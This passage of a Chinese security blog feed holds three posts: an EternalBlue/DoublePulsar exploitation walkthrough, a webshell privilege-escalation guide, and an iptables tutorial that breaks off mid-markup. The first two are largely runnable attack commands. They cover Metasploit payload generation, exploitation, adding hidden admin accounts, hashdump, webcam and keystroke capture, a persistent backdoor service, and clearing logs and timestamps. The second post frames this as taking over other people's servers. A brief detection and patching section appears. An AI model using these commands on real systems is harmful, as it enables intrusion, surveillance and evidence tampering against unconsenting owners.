<li>OddJob:包含一个基于Windows的植入软件,并包括所指定的配置文件和payload。适用于Windows Server 2003 Enterprise(甚至Windows XP Professional)</li> <li>Windows:包含对Windows操作系统的许多黑客工具,但主要针对的是较旧版本的Windows(Windows XP中)和Server 2003。</li> </ul> <h1 id="主要工具">主要工具</h1> <h2 id="fuzzbunch一款类似metasploit的exploit框架">FUZZBUNCH:一款类似Metasploit的Exploit框架</h2> <table> <thead> <tr> <th align="center">模块</th> <th align="center">漏洞</th> <th align="center">影响系统</th> <th align="center">默认端口</th> </tr> </thead> <tbody> <tr> <td align="center">Easypi</td> <td align="center">IBM Lotus Notes漏洞</td> <td align="center">Windows NT, 2000 ,XP, 2003</td> <td align="center">3264</td> </tr> <tr> <td align="center">Easybee</td> <td align="center">MDaemon WorldClient电子邮件服务器漏洞</td> <td align="center">WorldClient 9.5, 9.6, 10.0, 10.1</td> <td align="center">/</td> </tr> <tr> <td align="center">Eternalblue</td> <td align="center">SMBv2漏洞(MS17-010)</td> <td align="center">Windows XP(32),Windows Server 2008 R2(32/64),Windows 7(32/64)</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Doublepulsar</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows XP(32), Vista, 7, Windows Server 2003, 2008, 2008 R2</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Eternalromance</td> <td align="center">SMBv1漏洞(MS17-010)和 NBT漏洞</td> <td align="center">Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Eternalchampion</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Eternalsynergy</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows 8, Windows Server 2012</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Explodingcan</td> <td align="center">IIS6.0远程利用漏洞</td> <td align="center">Windows Server 2003</td> <td align="center">80</td> </tr> <tr> <td align="center">Emphasismine</td> <td align="center">IMAP漏洞</td> <td align="center">IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5</td> <td align="center">143</td> </tr> <tr> <td align="center">Ewokfrenzy</td> <td align="center">IMAP漏洞</td> <td align="center">IBM Lotus Domino 6.5.4, 7.0.2</td> <td align="center">143</td> </tr> <tr> <td align="center">Englishmansdentist</td> <td align="center">SMTP漏洞</td> <td align="center">/</td> <td align="center">25</td> </tr> <tr> <td align="center">Erraticgopher</td> <td align="center">RPC漏洞</td> <td align="center">Windows XP SP3, Windows 2003</td> <td align="center">445</td> </tr> <tr> <td align="center">Eskimoroll</td> <td align="center">kerberos漏洞</td> <td align="center">Windows 2000, 2003, 2003 R2, 2008, 2008 R2</td> <td align="center">88</td> </tr> <tr> <td align="center">Eclipsedwing</td> <td align="center">MS08-067漏洞</td> <td align="center">Windows 2000, XP, 2003</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Educatedscholar</td> <td align="center">MS09-050漏洞</td> <td align="center">Windows vista, 2008</td> <td align="center">445</td> </tr> <tr> <td align="center">Emeraldthread</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows XP, 2003</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Zippybeer</td> <td align="center">SMTP漏洞</td> <td align="center">/</td> <td align="center">445</td> </tr> <tr> <td align="center">Esteemaudit</td> <td align="center">RDP漏洞</td> <td align="center">Windows XP, Windows Server 2003</td> <td align="center">3389</td> </tr> </tbody> </table> <h2 id="eternalblue攻击原理分析">ETERNALBLUE攻击原理分析</h2> <p>ETERNALBLUE是一个RCE漏洞利用,通过SMB(Server Message Block)和NBT(NetBIOS over TCP/IP)影响Windows XP,Windows 2008 R2和Windows 7系统。</p> <ul> <li>漏洞发生处:C:\Windows\System32\drivers\srv.sys (注:srv.sys是Windows系统驱动文件,是微软默认的信任文件。</li> <li>漏洞函数:unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)</li> <li>触发点:_memmove(v5, (const void <em>)(a2 + 5 +</em> (_BYTE <em>)(a1 + 5)),</em> (_WORD *)(a1 + 6));</li> <li>原因:逻辑不正确导致的越界写入</li> </ul> <p>官方补丁修复前:</p> <pre><code>int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { //SNIP... while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &amp;gt; v4)) { *(WORD*)v6 = v3 - (_DWORD)v6; //&lt;----------修改处 return v1; } //SNIP... } int __thiscall ExecuteTransaction(int this) { //SNIP... if (*(_DWORD *)(v3 + 0x50) &amp;gt;= 1) //&lt;------修改处 { _SrvSetSmbError2(0, 464, &amp;quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&amp;quot;); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } //SNIP... } </code></pre><p>修复后:</p> <pre><code>int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { //SNIP... while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &amp;gt; v4)) { *(DWORD*)v6 = v3 - (_DWORD)v6; //&lt;--------修改处 return v1; } //SNIP... } int __thiscall ExecuteTransaction(int this) { //SNIP... if (*(_DWORD *)(v3 + 0x50) &amp;gt;= 2u) //&lt;------修改处 { _SrvSetSmbError2(0, 464, &amp;quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&amp;quot;); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } //SNIP... } </code></pre><p>具体见参考资料5</p> <h1 id="漏洞复现"><strong>漏洞复现</strong></h1> <ol> <li> <p>环境搭建</p> <p>| 主机类型 | OS | IP | | :–: | :————: | :———-: | | 攻击机1 | win2003 | 10.10.10.130 | | 攻击机2 | kali linux 2.0 | 10.10.10.128 | | 靶机 | winXP x86 | 10.10.10.129 |</p> </li> <li> <p>工具准备</p> </li> </ol> <ul> <li> <p>解压NSA工具包中的windows文件夹到攻击机1的C:\目录下(只要不是中文目录皆可);</p> </li> <li> <p>在攻击机1安装:</p> </li> <li> <p> <a href="http://link.zhihu.com/?target=https%3A//www.python.org/download/releases/2.6.6/" target="_blank" rel="noopener">python-2.6.6.msi**</a></p> </li> <li> <p> <a href="http://link.zhihu.com/?target=https%3A//sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win32-py2.6.exe/download" target="_blank" rel="noopener">pywin32-221.win32-py2.6.exe**</a></p> </li> <li> <p>在攻击机2先生成用于回连的dll</p> <pre><code>msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f dll &gt; x86bind.dll </code></pre><p>3.扫描开启445端口的活跃主机并探测操作系统</p> <pre><code>nmap -Pn -p445 -O 10.10.10.0/24 nmap -Pn -p445 -O -iL ip.txt </code></pre><p>4.攻击机1开始利用ETERNALBLUE攻击</p> <pre><code>python fb.py use Eternalblue ... </code></pre><p>5.利用Doublepulsar注入dll</p> <pre><code>use Doublepulsar </code></pre><p>6.kali攻击机利用msf回连控制主机5555端口</p> <pre><code>use exploit/multi/handler set payload windows/meterpreter/bind_tcp set LPORT 5555 set RHOST XXX.XXX.XXX.XXX exploit </code></pre></li> </ul> <h1 id="后渗透攻击"><strong>后渗透攻击</strong></h1> <ol> <li> <p>开3389端口</p> <ul> <li> <pre><code>wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1 </code></pre></li> <li> <pre><code>wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1 </code></pre></li> <li> <pre><code>reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f </code></pre></li> </ul> </li> </ol> <p>针对win XP及win2003只需要第3条命令 针对win 7需要第1,2条命令 针对win 2012需要3条命令</p> <ol> <li> <p>添加账户进管理组</p> <pre><code>net user [username] [password] /add net localgroup Administrators [username] /add </code></pre></li> <li> <p>端口转发如果3389端口只限内网访问,可以使用portfwd将端口转发到本地连接</p> <pre><code>portfwd add -l 4444 -p 3389 -r XXX.XXX.XXX.XXX rdesktop -u root -p toor 127.0.0.1:4444 </code></pre></li> <li> <p>meterpreter自带的多功能shell</p> <ul> <li>hashdump:获取用户密码哈希值,可以用ophcrack等彩虹表工具进行破解明文</li> <li>screenshot:获取屏幕截图</li> <li>webcam_snap:调取对方摄像头拍照</li> <li>keyscan_start,keyscan_dump:记录键盘动作</li> <li>ps:查看当前运行进程</li> <li>sysinfo:查看系统信息</li> <li>getsystem:提权</li> </ul> </li> <li> <p>维持控制</p> <ul> <li> <p>migrate:将meterpreter会话移至另一个进程内存空间(migrate pid)配合ps使用</p> </li> <li> <p>irb:与ruby终端交互,调用meterpreter封装函数,可以添加Railgun组件直接交互本地的Windows API,阻止目标主机进入睡眠状态</p> <pre><code>irb client.core.use(&quot;railgun) client.railgun.kernel32.SetThreadExecutionState(&quot;ES_CONTINUOUS|ES_SYSTEM_REQUIRED&quot;) </code></pre></li> <li> <p>background:隐藏在后台方便msf终端进行其他操作,session查看对话id</p> </li> <li> <p>session -i X:使用已经成功获取的对话</p> </li> </ul> </li> <li> <p>植入后门</p> <ul> <li> <p>测试是否虚拟机:</p> <pre><code>run post/windows/gather/checkvm </code></pre></li> <li> <p>以系统服务形式安装:在目标主机的31337端口开启监听,使用metsvc.exe安装metsvc-server.exe服务,运行时加载</p> <pre><code>metsrv.dll run metsvc </code></pre></li> <li> <p>getgui开启远程桌面:</p> <pre><code>run getgui -u sherlly -p sherlly run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up_XXX.rc //清除痕迹,关闭服务,删除添加账号 </code></pre></li> </ul> </li> <li> <p>清除入侵痕迹</p> </li> </ol> <ul> <li>clearev:清除日志</li> <li>timestomp:修改文件的创建时间,最后写入和最后访问时间timestomp xiugai.doc -f old.doc</li> </ul> <h1 id="检测防御"><strong>检测&amp;防御</strong></h1> <ol> <li> <p>国外有人写了个检测Doublepulsar入侵的脚本,运行环境需要python2.6, 地址</p> <p>countercept/doublepulsar-detection-script**</p> <p>,使用方法</p> <pre><code>python detect_doublepulsar_smb.py --ip XXX.XXX.XXX.XXX python detect_doublepulsar_rdp.py --file ips.list --verbose --threads 1 </code></pre><p>另外,nmap也基于该脚本出了对应扫描脚本</p> <p>smb-double-pulsar-backdoor.nse**</p> <p>,使用方法</p> <pre><code>nmap -p 445 &lt;target&gt; --script=smb-double-pulsar-backdoor </code></pre></li> <li> <p>安装相应补丁 <a href="http://link.zhihu.com/?target=https%3A//blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/" target="_blank" rel="noopener">Protecting customers and evaluating risk**</a></p> </li> <li> <p>如非必要,关闭25, 88, 139, 445, 3389端口</p> </li> <li> <p>使用防火墙、或者安全组配置安全策略,屏蔽对包括445、3389在内的系统端口访问。(见参考资料7)</p> </li> </ol> <h1 id="参考"><strong>参考</strong></h1> <ol> <li> <a href="http://link.zhihu.com/?target=http%3A//thehackernews.com/2017/04/swift-banking-hacking-tool.html" target="_blank" rel="noopener">Latest Hacking Tools Leak Indicates NSA Was Targeting SWIFT Banking Network</a></li> <li> <a href="http://link.zhihu.com/?target=http%3A//www.freebuf.com/sectool/132029.html" target="_blank" rel="noopener">ShadowBrokers方程式工具包浅析,揭秘方程式组织工具包的前世今生 - FreeBuf.COM | 关注黑客与极客**</a></li> <li> <a href="http://link.zhihu.com/?target=https%3A//www.cyberscoop.com/nsa-hacking-tools-shadow-brokers-dark-web-microsoft-smb/" target="_blank" rel="noopener">Leaked NSA hacking tools are a hit on the dark web - CyberScoop</a></li> <li> <a href="http://link.zhihu.com/?target=http%3A//www.file.net/process/srv.sys.html" target="_blank" rel="noopener">srv.sys Windows process - What is it?</a></li> <li> <a href="http://link.zhihu.com/?target=http%3A//blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/" target="_blank" rel="noopener">NSA Eternalblue SMB 漏洞分析</a></li> <li> <a href="http://link.zhihu.com/?target=https%3A//nmap.org/nsedoc/scripts/smb-double-pulsar-backdoor.html" target="_blank" rel="noopener">smb-double-pulsar-backdoor NSE Script</a></li> <li> <a href="http://link.zhihu.com/?target=https%3A//jingyan.baidu.com/article/c843ea0b7d5c7177931e4ab1.html" target="_blank" rel="noopener">如何设置Windows 7 防火墙端口规则</a></li> </ol> Windows服务器提权和开启3389远程连接 https://p0st3r.github.io/post/win-getshell-and-open-rdp/ Thu, 20 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/win-getshell-and-open-rdp/ <p>系统为了都有有权限管理系统,根据权限高低来决定用户在这台机器上能做的事。</p> <p>比如有的文件规定了低权限用户是无法读写的,而这些文件通常是我们想要获取的敏感文件。</p> <p>有的文件夹是规定不能读写的,那么我们就不能上传任何到这个文件夹,也无法从这个文件夹里运行任何程序,所以我们连接上服务器都要找一个可读可写的文件夹来继续上传我们需要的程序,如开后门的程序。</p> <p>一般的网站都存储在服务器权限比较低的文件夹里, 所以即使我们上传了WebShell,最多也只能够对网站所在的文件夹操作,而不能完整的控制整个服务器。所以我们需要进行提权,以一个权限相当高的用户来访问该服务器。</p> <p>Windows中以用户组来分配权限,每个用户组有不同的权限,其中最高权限用户组是Administrators组,拥有对整个系统进行操作system权限。每个用户组下可以创建多个用户。</p> <p>在Win10以前的Windows系统版本中,可以通过 右键此电脑=》管理=》系统工具=》本地用户和组来查看用户组及用户组中的用户。</p> <p><img src="v2-eb8981064ab46a0bc03f31ee70a86f2b_hd.png" alt="img"></p> <h2 id="0x01-大马和菜刀">0x01 大马和菜刀</h2> <p>我试过各种大马,功能其实都大同小异,不过不知道是不是我使用的原因,里面的cmd并不怎么好用。大马里我个人觉得最有用的就是查看文件权限属性的功能,这个使我们在找后门上传点的时候是非常好用的,并且这个功能在菜刀里是没有的。</p> <p>这种php大马可以在Perms项下看到文件的读写权限属性。</p> <p><img src="v2-2fcc71a8ada61d4e72901ab183efe4ec_hd.png" alt="img"></p> <p>而菜刀比较好的的就是比较适合人类查看的文件目录界面,和虚拟终端。所以通常将两者结合起来用。右键任意可执行文件打开虚拟终端。</p> <h2 id="imgv2-18be9bbfd3f9c9b66d97b4a376774239_hdpng0x02-巴西烤肉提权"><img src="v2-18be9bbfd3f9c9b66d97b4a376774239_hd.png" alt="img">0x02 巴西烤肉提权</h2> <p>创建系统用户的命令如下:</p> <ul> <li>新建一个用户</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net user [username] [password] /add </code></pre></div><ul> <li>添加到Administrators用户组</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net localgroup Administrators [username] /add </code></pre></div><ul> <li>激活用户</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net user [username] /active:yes </code></pre></div><p>由于一般网站被放在服务器中权限比较低的文件夹中,因此直接创建Administrator用户的命令是不被执行的。</p> <p>巴西烤肉是一个非常强劲的程序,它可以无视拒绝强制执行cmd命令,经常被用到提权中。</p> <p>我们通过菜刀将cmd.exe和巴西烤肉上传到网站文件夹中。</p> <p><img src="v2-0d4983673f80086b2a185b50d42e40d5_hd.png" alt="img"></p> <p>然后右键cmd.exe打开虚拟终端,先将终端路径设置为我们自己上传的cmd.exe,再尝试直接创建用户,报错命令被拒绝执行。(其实这里是一个Ubuntu Linux服务器)</p> <p><img src="v2-6c9679f163c06cb6d6a73a7aa38f17de_hd.png" alt="img"></p> <p><img src="v2-7a965148c3cbc5a7bc19695203fac9e8_hd.png" alt="img"></p> <p>======================================================================</p> <p>由于后来没找到Windows服务器的网站模板,因此下面就不带图了,过程全部手打还原,谅解</p> <p>======================================================================</p> <p>先将终端路径设置为我们自己上传的cmd.exe</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">SETP ../../www/uploads/cmd.exe </code></pre></div><p>再用巴西烤肉强制执行命令。巴西烤肉语法:Churrasco.exe &ldquo;your command&rdquo;</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">Chu.exe &#34;net user [username] [password] /add &amp; net localgroup Administrators [username] /add&#34; </code></pre></div><p>若无报错,那么我们就已经成为系统管理员账户了。查看当前用户会发现我们创建的用户:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net user </code></pre></div><p>至此,我们已经创建了超级权限的用户,已经可以对整个服务器进行操作了。但是在终端里操作总有些不方便,下面我们介绍一下拿下权限后如何远程连接进行桌面操作。</p> <h2 id="0x03-3389端口服务">0x03 3389端口服务</h2> <p>远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的Windows都有客户端所需软件。服务端电脑方面,<strong>默认听取送到TCP3389端口的数据</strong>。【百度百科】</p> <p>这是一种非常方便的对服务器的操作方式,一般的网站管理员都会开启3389端口远程桌面服务。而有的安全素养比较高的管理员则会选择将3389端口关闭,甚至开启防火墙禁止任何开启3389的操作。</p> <p><em>闲扯一下,最近Shadow Broker泄露的NSA的工具,内网里开3389的服务器一打一个准,有空的可以去玩玩。misterch0c/shadowbroker</em></p> <p>在无防火墙的情况下,我们可以用cmd命令来添加注册表开启3389端口,或者使用别人留下的工具。</p> <ul> <li>cmd命令</li> </ul> <p>将以下命令写入一个.bat文件,将其拖入服务器可读写目录执行,即可开启3389端口。</p> <p>此种对Windows XP 和2003系统有用,不用重起</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&#34; &#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f </code></pre></div><ul> <li> <p>写好的程序</p> <p><img src="v2-c1f967bb47989b9824e01b78f35b8281_hd.png" alt="img"></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">Chu.exe &#34;kai3389.exe&#34; </code></pre></div><p>就行了</p> </li> </ul> <p><em>在有防火墙的情况下,需将防火墙先关闭,再用lcx.exe将3389映射到其他端口上,这个等我搞懂了再写。</em></p> <h2 id="0x04-rdp远程桌面连接">0x04 RDP远程桌面连接</h2> <p>创建好用户,开启远程桌面功能,就可以用此用户远程登陆别人的服务器直接进行桌面操作,岂不是美滋滋。</p> <p>Win+R 打开【运行】窗口,运行</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">mstsc /admin </code></pre></div><p>用直接创建的用户名和密码登录,OK。</p> iptables防火墙的应用和SNAT/DNAT策略 https://p0st3r.github.io/post/iptables/ Wed, 12 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/iptables/ <h1 id="0x00-iptables简介">0x00 iptables简介</h1> <p>netfilter/iptables(简称为iptables)组成Linux平台下的包过滤防火墙,与大多数的Linux软件一样,这个包过滤防火墙是免费的,它可以代替昂贵的商业防火墙解决方案。</p> <p>Linux防火墙体系主要工作在网络层,针对TCP/IP数据包实施过滤和限制,完成封包过滤、封包重定向和网络地址转换(NAT)等功能,属于典型的包过滤防火墙(也称网络层防火墙)。其基于内核编码实现,具有非常稳定的性能和高效率,因此被广泛的应用。</p> <h2 id="1-netfilter和iptables的区别">1. Netfilter和iptables的区别:</h2> <ul> <li>Netfilter:指的是Linux内核中实现包过滤防火墙的内部结构,不以程序或文件的形式存在,属于“内核态”(KernelSpace,又称内核空间)的防火墙功能体系;</li> <li>Iptables:指的是用来管理Linux防火墙的命令程序,通常位于/sbin/iptables,属于“用户态”(UserSpace,又称用户空间)的防火墙管理体系;</li> </ul> <p>所以其实iptables只是Linux防火墙的管理工具而已,位于/sbin/iptables。真正实现防火墙功能的是 netfilter,它是Linux内核中实现包过滤的内部结构。</p> <h2 id="2-规则rules">2. 规则(rules)</h2> <p>规则(rules)其实就是网络管理员预定义的条件,规则一般的定义为“如果数据包头符合这样的条件,就这样处理这个数据包”。</p> <p>规则存储在内核空间的信息 包过滤表中,这些规则分别指定了<strong>源地址</strong>、<strong>目的地址</strong>、<strong>传输协议</strong>(如TCP、UDP、ICMP)和<strong>服务类型</strong>(如HTTP、FTP和SMTP)等。当数据包与规则匹配时,iptables就根据规则所定义的方法来处理这些数据包,如<strong>放行(accept)</strong>、**拒绝(reject)<strong>和</strong>丢弃(drop)**等。</p> <p>配置防火墙的主要工作就是添加、修改和删除这些规则。</p> <h2 id="3-包过滤的工作层次">3. 包过滤的工作层次:</h2> <p>主要是网络层,针对IP数据包。体现在对包内的IP地址、端口等信息的处理上。</p> <p><img src="https://pic3.zhimg.com/80/v2-ac1c43e4005e585e8b039f6d0f654d76_720w.png" alt="img"></p> <h2 id="3-iptables的表链结构">3. iptables的表、链结构:</h2> <p>iptables作用:为包过滤机制的实现提供规则(或策略),通过各种不同的规则,告诉netfilter对来自某些源、前往某些目的或具有某些协议特征的数据包应该如何处理。</p> <p>iptables内置了4个表,即<strong>filter</strong>表、<strong>nat</strong>表、<strong>mangle</strong>表和<strong>raw表</strong>,分别用于实现<strong>包过滤</strong>,<strong>网络地址转换</strong>、<strong>包重构(修改)<strong>和</strong>数据跟踪处理</strong>。 链(chains)是数据包传播的路径,每一条链其实就是众多规则中的一个检查清单,每一条链中可以有一 条或数条规则。</p> <p>当一个数据包到达一个链时,iptables就会从链中第一条规则开始检查,看该数据包是否满足规则所定义的条件。如果满足,系统就会根据 该条规则所定义的方法处理该数据包;否则iptables将继续检查下一条规则,如果该数据包不符合链中任一条规则,iptables就会根据该链预先定 义的默认策略来处理数据包。</p> <h3 id="规则链">规则链:</h3> <ul> <li>规则的作用:对数据包进行过滤或处理</li> <li>链的作用:容纳各种防火墙规则</li> <li>链的分类依据:处理数据包的不同时机</li> </ul> <p>默认包括5种规则链</p> <ul> <li>INPUT:处理入站数据包</li> <li>OUTPUT:处理出站数据包</li> <li>FORWARD:处理转发数据包</li> <li>POSTROUTING链:在进行路由选择后处理数据包(对数据链进行源地址修改转换)</li> <li>PREROUTING链:在进行路由选择前处理数据包(做目标地址转换)</li> </ul> <p><strong>INPUT</strong>、<strong>OUTPUT</strong>链主要用在“主机型防火墙”中,即主要针对服务器本机进行保护的防火墙;而<strong>FORWARD</strong>、<strong>PREROUTING=</strong>、<strong>POSTROUTING</strong>链多用在“网络型防火墙”中。</p> <h3 id="规则表">规则表</h3> <ul> <li>表的作用:容纳各种规则链</li> <li>表的划分依据:防火墙规则的作用相似</li> </ul> <p>默认包括4个规则表:</p> <ul> <li>raw表:确定是否对该数据包进行状态跟踪;对应iptable_raw,表内包含两个链:OUTPUT、PREROUTING</li> <li>mangle表:为数据包的TOS(服务类型)、TTL(生命周期)值,或者为数据包设置Mark标记,以实现流量整形、策略路由等高级应用。其对应iptable_mangle,表内包含五个链:PREROUTING、POSTROUTING、INPUT、OUTPUT、FORWARD</li> <li>nat表:修改数据包中的源、目标IP地址或端口;其对应的模块为iptable_nat,表内包括三个链:PREROUTING、POSTROUTING、OUTPUT</li> <li>filter表:确定是否放行该数据包(过滤);其对应的内核模块为iptable_filter,表内包含三个链:INPUT、FORWARD、OUTPUT</li> </ul> <p><img src="https://pic1.zhimg.com/80/v2-3716f456bd27f19d2b71c522b7e4a7d4_720w.png" alt="img"></p> <p>Iptables采用“表”和“链”的分层结构。注意一定要明白这些表和链的关系及作用。</p> <h2 id="4-链表的优先顺序">4. 链、表的优先顺序</h2> <ul> <li> <p>规则表之间的优先顺序</p> </li> <li> <ul> <li>Raw==》mangle==》nat==》filter</li> </ul> </li> <li> <p>规则链之间的顺序</p> </li> <li> <ul> <li>入站:PREROUTING==》INPUT</li> <li>出站:OUTPUT==》POSTROUTING</li> <li>转发:PREROUTING==》FORWARD==》POSTROUTIN</li> </ul> </li> <li> <p>规则链内的匹配顺序</p> </li> <li> <ul> <li>按顺序依次检查,<strong>匹配即停止</strong>(LOG策略例外)</li> <li>若找不到相匹配的规则,则按该链的默认策略处理</li> </ul> </li> </ul> <h1 id="0x01-编写防火墙规则">0x01 编写防火墙规则</h1> <h2 id="1-iptables-的基本语法控制类型">1. iptables <strong>的基本语法、控制类型</strong></h2> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">iptables [ -t 表名] 选项 [链名] [条件] [ -j 控制类型] </code></pre></div><p><strong>注意事项:</strong></p> <ul> <li>不指定表名时,-t 默认指filter表</li> <li>不指定链名时,默认指表内的所有链</li> <li>除非设置链的默认策略,否则必须指定匹配条件</li> <li>选项、链名、控制类型使用大写字母,其余均为小写</li> </ul> <h2 id="2-数据包的常见控制类型">2. 数据包的常见控制类型</h2> <blockquote> <ul> <li>ACCEPT:允许通过</li> <li>DROP:直接丢弃,不给出任何回应</li> <li>REJECT:拒绝通过,必要时会给出提示</li> <li>LOG:在/var/log/messages文件中记录日志信息,然后传给下一条规则继续匹配(匹配即停止对LOG操作不起作用,因为LOG只是一种辅助动作,并没有真正的处理数据包)</li> </ul> </blockquote> <h2 id="3-iptables命令的管理控制选项">3. iptables命令的管理控制选项</h2> <ul> <li>-A 在指定链的末尾添加(append)一条新的规则 -D 删除(delete)指定链中的某一条规则,可以按规则序号和内容删除</li> <li>-I 在指定链中插入(insert)一条新的规则,默认在第一行添加-R 修改、替换(replace)指定链中的某一条规则,可以按规则序号和内容替换</li> <li>-L 列出(list)指定链中所有的规则进行查看</li> <li>-E 重命名用户定义的链,不改变链本身</li> <li>-F 清空(flush)</li> <li>-N 新建(new-chain)一条用户自己定义的规则链</li> <li>-X 删除指定表中用户自定义的规则链(delete-chain)</li> <li>-P 设置指定链的默认策略(policy)</li> <li>-Z 将所有表的所有链的字节和数据包计数器清零</li> <li>-n 使用数字形式(numeric)显示输出结果</li> <li>-v:以更详细的方式显示规则信息</li> <li>&ndash;line-numbers:查看规则时,显示规则的序号-X:删除自定义的规则链 <strong>eg:将filter表中FORWARD链中的默认策略设为丢弃,OUTPUT链的默认策略设为允许</strong></li> </ul> <h2 id="4-规则的匹配条件">4. 规则的匹配条件</h2> <ul> <li> <p>通用匹配</p> </li> <li> <ul> <li> <p>协议匹配: -p [协议名]</p> </li> <li> <p>地址匹配</p> </li> <li> <ul> <li>-s [源地址]</li> <li>-d [目标地址]</li> </ul> </li> <li> <p>接口匹配</p> </li> <li> <ul> <li>-i [入站网卡]</li> <li>-o [出站网卡]</li> </ul> </li> </ul> </li> <li> <p>隐含匹配</p> </li> <li> <ul> <li> <p>端口匹配</p> </li> <li> <ul> <li>-sport [源端口]</li> <li>-dport [目标端口]</li> </ul> </li> <li> <p>TCP标记匹配:&ndash;tcp-flags [检查范围] [被设置的标记]</p> </li> <li> <p>ICMP类型匹配:&ndash;icmp-type [ICMP类型]</p> </li> </ul> </li> <li> <p>显式匹配</p> </li> <li> <ul> <li>多端口匹配:-m multiport &ndash;sport | &ndash;dport [端口列表]</li> <li>IP范围匹配:-m iprange &ndash;src-range [IP范围]</li> <li>MAC地址匹配:-m mac &ndash;mac-range [MAC地址]</li> <li>状态匹配:-m state &ndash;state [连接状态]</li> </ul> </li> </ul> <h3 id="常见通用匹配条件">常见通用匹配条件:</h3> <ol> <li><strong>协议匹配:-p [协议名]</strong></li> </ol> <p>(eg:<strong>tcp</strong>、<strong>udp</strong>、<strong>icmp</strong>、<strong>all</strong>(针对所有IP数据包)),可用的协议类型存放于Linux系统的/etc/procotols文件中;</p> <p>eg:丢弃通过icmp协议访问防火墙本机的数据包、允许转发经过防火墙的除icmp协议以外的数据包:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -I INPUT -p icmp -j DROP [root@iptables ~]# iptables -A FORWARD -p ! icmp -j ACCEPT </code></pre></div><p>【!】表示取反</p> <p><strong>2. 地址匹配:-s [源地址]、 -d [目标地址]</strong></p> <p>可以是IP地址、网段地址,但不建议使用主机名、域名地址,因为解析过程会影响效率</p> <p>eg:拒绝转发源地址为192.168.10.100的数据、允许转发源地址位于192.168.1.0/24网段的数据:</p> <pre><code>[root@iptables ~]# iptables -A FORWARD -s 192.168.10.100 -j REJECT [root@iptables ~]# iptables -A FORWARD -s 192.168.1.0/24 -j ACCEPT </code></pre><p>当遇到小规模的网络扫描或攻击时,封IP地址是比较有效的方式。</p> <p>eg:添加防火墙规则封锁来自172.16.16.0/24网段的频繁扫描、登录穷举等不良企图:</p> <pre><code>[root@iptables ~]# iptables -I INPUT -s 172.16.16.0/24 -j DROP [root@iptables ~]# iptables -I FORWARD -s 172.16.16.0/24 -j DROP </code></pre><p><strong>3. 接口匹配</strong>:<strong>-i [入站网卡]、-o [出站网卡]</strong></p> <p>eg:丢弃从外网接口eth0访问防火墙本机且源地址为私有地址的数据包:</p> <div 